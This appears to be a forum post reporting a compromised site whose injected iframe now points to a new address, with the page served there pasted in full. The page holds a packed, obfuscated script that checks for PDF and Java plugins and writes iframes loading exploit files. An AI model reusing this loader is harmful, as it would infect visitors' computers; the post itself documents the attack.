The iframe is still there, though, just with a different address.
http://zria.ru/index.php :
<html>
<head><title>Jweah13faem0ja6dqj342n53hzg6</title></head><body>
<script>
eval( function(p, a,
c, k , e , d )
{e = function
(
c
)
{return(c<a?'':e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--){d[e(c)]=k[c]||e(c)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('w k(){h{5=\'<#&(i&^!$f(#)r@a!m(!e^@$\'.3(/@|#|&|\\^|\\!|\\)|\\$|\\(/2,\'\');7=\'<@@!/&i@#f&@(r#$a^^m^e$()^>(\'.3(/@|\\$|\\)|\\^|\\(|&|#|\\!/2,\'\');j=\'A$@d&o&!(@b(^#e@ @@A&&c#!(r#o!&&b)@$a^$t&\'.3(/\\^|\\(|&|@|\\!|\\$|\\)|#/2,\'\');8=\'A@)#)d$o)b^e$ #()z#D#$&@F@\'.3(/@|\\^|\\(|\\$|&|\\)|#|\\!/2,\'\');y(i=0;i<6.v.x;i++){4=6.v[i].B;l((4.g(j)!=-1)||(4.g(8)!=-1)){n.p(5+\' q="s/G.C">\'+7)}}}u(9){}h{l(6.H()){n.p(5+\' q="s/E.I">\'+7)}}u(9){}}k();',45,45,'||ig|replace|B53fjjdpq|Wvfl219id|navigator|Iqqptmy|Icih2owkj|L3kv2n8|||||||indexOf|try||Umsjv5|B4fkcsqef|if||document||write|src||pics||catch|plugins|function|length|for|P||name|pdf||java||ChangeLog|javaEnabled|html'.split('|'),0,{}))
</script>
</body>
</html>
This does not fill me with confidence...